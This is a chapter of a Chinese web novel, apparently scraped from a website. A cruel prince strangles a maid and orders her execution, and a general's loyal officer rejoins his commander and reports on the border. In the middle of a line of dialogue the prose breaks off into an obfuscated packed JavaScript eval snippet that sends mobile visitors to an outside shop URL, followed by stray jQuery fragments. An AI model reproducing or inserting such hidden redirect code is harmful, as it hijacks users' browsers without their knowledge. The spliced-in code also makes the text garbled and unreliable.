别院厅中，烛火摇曳，熏香袅袅。
霍澜星歪在软榻上，半阖着眼，不知在想什么。一名美婢跪在他身后，纤纤十指正为他揉按肩颈，力道恰到好处。
另一名美婢端着茶盏，腰肢轻摆，一步步走近。她眉眼含春，嘴角噙着娇媚的笑，跪在榻前时没有急着奉茶，而是先抬眸看了他一眼，眼波流转，声音软得像化开的蜜糖：“殿下，该用茶了。”
霍澜星没动。美婢咬了咬唇，跪行半步，将茶盏递到他手边，指尖若有若无地擦过他的手背。她想着，前几日还留她在房中过夜，温存之时也曾捏着她的下巴说“你倒是会伺候人”。今日她特意换了身新衣裳，熏了他最喜欢的香，应该……
霍澜星忽然睁开眼。她还没来得及反应，一只大手猛地掐住了她的脖颈。
茶盏翻倒，滚烫的茶水泼了她一身，她却顾不得烫，因为那只手正在收紧。她双手拼命去掰，指甲在他手背上划出血痕，却丝毫撼动不了分毫。霍澜星的手指像铁钳一样，一点一点地收紧，她脸上的血色迅速褪去，嘴巴大张，发不出任何声音，眼睛里全是惊恐和不可置信。
她不明白，前几日还与她床榻温存、在她耳边许她身份的殿下。那张俊美无双的脸现在正扭曲的可怕，眼中充满疯狂的暴虐：“谁让你靠近本王的！端个茶都端不好，要你这双手何用？”
他松开手，把她像扔一块脏抹布一样甩开：“拖下去，砍了。”
美婢瘫在地上，连求饶的力气都没有了，被侍卫捂着嘴拖了出去。身后那名按摩的婢女脸色煞白，手指僵在半空，大气都不敢出。
霍澜星重新歪回软榻上，仿佛什么都没发生过：“继续。”
婢女颤抖着将手指重新搭上他的肩膀，力道轻得像羽毛，生怕再惹恼他。
门外传来急促的脚步声。
“殿下，人回来了。”
霍澜星懒洋洋地抬了抬眼皮：“进来。”
门被推开，一个灰头土脸的探子跌跌撞撞走进来，脸上青一块紫一块，额头上还糊着干涸的血痂，狼狈不堪。
他跪在地上：“殿下……属下回来了。”
霍澜星扫了他一眼，眉头微拧：“怎么搞的？”
“属下……属下被发现了。”探子头都不敢抬，“那女人身手极快，不知怎么察觉到属下藏身树上，用石子……就把属下砸了下来。”
霍澜星的手指在扶手上顿了一下，随即又慢慢敲了起来。
八个护卫被打残，连藏在树上的探子都被她用石子砸下来——这女人的警觉和身手，简直不像个正常人。
“查到了什么？”
“属下打探清楚了。那个女人，就是……就是之前送去霍家冲喜的傻子。”
霍澜星的手指骤然停住。
“继续说。”
“那女人被送去的时候，确实又痴又傻，连话都不会说，但不知怎么就变了……”
“就变成今天这个能打能骂、扇本王耳光的女人了？”霍澜星的声音冷得像冰碴子，每一个字都带着森寒的戾气。
探子不敢接话，伏在地上瑟瑟发抖。
他忽然低低地笑了起来。
那笑声起初很轻，带着点不可思议的荒谬，随即越来越响，越来越冷，最后变成一种近乎癫狂的、扭曲的笑声。他笑得肩膀都在抖，眼角甚至笑出了泪花。
“所以，本王精心挑选，送去羞辱霍霆昭的傻子，现在成了他身边得力的帮手？”
探子伏在地上，大气也不敢出。
霍澜星眼底翻涌着浓烈的戾气：“那个傻子是怎么变聪明的，本王不关心。但办砸了差事的人，不该活着。”
探子浑身抖得像筛糠，额头死死抵着冰凉的地砖。他知道这句话意味着什么——负责挑选傻子、经手此事的管事、婆子、乃至相关人等，今夜之后，都不会再见到明天的太阳。
“去吧。”霍澜星挥了挥手，像赶走一只苍蝇。
探子如蒙大赦，连滚爬爬地退了出去，生怕慢一步，自己的命也要留在这里。
厅中恢复安静。烛火映着霍澜星那张俊美无双的脸，眉眼如画，唇边甚至还挂着一丝浅笑，可那笑容底下，是彻骨的凉。
入夜，顾桢刚躺下休息，就听到墙外有悉悉索索的声音，紧接着有人用极轻巧的身手翻进院内。
她迅速起身拉开房门，却发现霍霆昭和崔虎竟然也一起从屋里走了出来，而院子里赫然跪着一个人。
那人衣衫破烂，满身尘土，脸上青一块紫一块，额头上还糊着干泥。他抬起头，月光映出一张年轻的脸，眼眶通红，泪水在眼里打转，却忍着没有落下来。
“将军……”他叫了一声，声音发抖，“末将来迟了。”
霍霆昭看着他，沉默了片刻，缓缓开口：“起来。”
那人双手撑地，肩膀在抖，整个人像是一路跑了几百里路，累得随时会散架，却还是死死撑着。
崔虎急忙上前一把把他扶起来，眼眶已经红了。他张了张嘴，想说什么，最后只挤出一句：“你怎么才来？”
那人抬头看了崔虎一眼，嘴角扯了扯，像是想笑，可那笑容比哭还难看。他哑着嗓子说：“路上一直被拦，绕了许多远路。甩掉一拨，又来一拨……没完没了。”
“废物。”崔虎骂了一句，声音却是哑的，带着浓重的鼻音。
“你才废物。”那人回了一句，语气里有气无力，但还是习惯性地怼了回去。
顾桢站在台阶上，抱着胳膊看了会儿。
月光下，那年轻将领虽然狼狈，但身姿挺拔，即便累得站不稳，脊梁也没弯下去。他和崔虎斗嘴时，眼里有光，那是见到生死兄弟时才有的、毫不设防的亲近。
她总算看明白了——这人跟崔虎一样，是霍霆昭的心腹手下。而且看这架势，跟崔虎是实打实的欢喜冤家，嘴上谁也不饶谁，但情分是真的，是刀山火海里滚出来的过命交情。
“我建议你们进屋说话，”顾桢适时插话，声音不大，在寂静的夜里却很清晰，“山风凉，你家老大身子还没好全，别再受凉了。”
那人愣了一下，抬头看向顾桢。
月光下，这女子穿着简单的粗布衣裳，头发竟短的出奇，站在台阶上，抱着胳膊，姿态随意。她脸上没什么表情，可那双眼睛很亮，正看着他。
他又转头看向霍霆昭，眼里写满了无言的控诉和委屈：将军，您看看，我这额头上的伤，还肿着，就是她拿石头打的。还有身上这些青紫，从那么高的树上摔下来摔的……
霍霆昭没理会他的眼神，微微点头，率先进了屋。
那人坐在凳子上，接过崔虎递来的水，一口气喝了个精光。他缓了口气，又把目光投向了顾桢，眼神复杂——这女人砸他的时候可没手软。
“这是顾姑娘。”霍霆昭的声音不大，“自己人。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567846|204833||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自己人？”那人摸了摸额头上的伤，嘴角抽了抽，但到底没敢说什么，闷声道：“末将赵烈，多谢顾姑娘……手下留情。”
顾桢摆摆手：“不用谢，下次别爬那么高的树，摔下来更疼。”
赵烈：“……”
他张了张嘴，一时竟不知该如何接话。
崔虎在旁边“噗嗤”一声笑了出来，幸灾乐祸毫不掩饰。
顾桢知道他们三人久别重逢，定然有许多话要说。她困得要命，也懒得杵在这儿听他们叙旧。她打了个大大的哈欠，摆摆手，转身往外走：“你们聊，我去睡了。”
走到门口，她脚步一顿，回头扫了赵烈一眼。月光从门缝漏进来，照在他那一身破烂衣裳和瘦得凹陷的脸颊上。
得，又多了一张吃饭的嘴。
屋里只剩下三个人。
霍霆昭坐在椅子上，披着外衣，烛火映着他苍白的脸：“边境情况如何？
赵烈放下碗：“将军放心，边境暂时安稳。李将军守着关隘，周将军在后方调度，暂无大碍。”
霍霆昭微微点头。
“但是，”赵烈语气沉下来，神色凝重：“外族那边，已经大半年没有将军的消息了。他们派了好几拨探子潜入大晟，到处打听您的下落。有传言说您……已经被害了，也有传言说您被囚禁在某处。草原上几支部落开始蠢蠢欲动，试探性的小股骚扰比去年多了三成。”
崔虎眉头紧皱：“他们想趁火打劫？”
“不止。”赵烈看了霍霆昭一眼，“他们怕将军，但不怕别人。如果确认将军真的不在了，恐怕不只是打劫那么简单。”
霍霆昭沉默着，指尖在桌沿上轻轻叩了两下。
赵烈声音低下去，带着疲惫，“将军的下落，是我花了三个月才打探到的。我们一路往这边赶，遇到的阻挠不下十拨，这其中有朝廷的，还有其他势力的。”
“那其他人呢？”崔虎问。
“分开了。”赵烈说，“老周、小孟他们，跟我一起出来的。路上被那帮人缠住，为了掩护我，各自引开了一拨人。我们约定，不管谁先找到将军，都要把消息传回去。”
他顿了顿，垂下眼：“也不知道他们现在怎么样了。”
屋里安静了一会儿。
霍霆昭缓缓开口，声音不大，甚至有些低哑，却带着一种奇异的、让人安心的力量：
“他们会没事的。”
赵烈抬起头，看向霍霆昭。
烛光下，将军的脸依然苍白消瘦，可那双眼睛，沉静，坚定，深不见底。那是他熟悉的、在千军万马前也未曾动摇过的眼神。
赵烈眼眶又有些发酸，但他死死忍住了，用力点了点头。
“将军，”他的声音有些哑，带着压抑的情绪，“您……受苦了。”
霍霆昭面色淡然，仿佛那些痛苦、那些折磨，都不值一提。
崔虎拍了拍赵烈的肩膀，力道不小，拍得他身子晃了晃：“行了，别跟个娘们似的哭哭啼啼。将军我照顾得好着呢，你看，这不还活着吗？”
赵烈瞪了他一眼，眼里那点湿意瞬间被怒气冲散：“你才娘们！”
“你——”
“息声。”霍霆昭皱眉。
他的声音不高，但崔虎和赵烈同时闭上了嘴——他们都注意到了，将军说话的时候，目光往柴房那边偏了一下。虽然很轻微，但确实看了一眼。那里，是顾姑娘住的地方。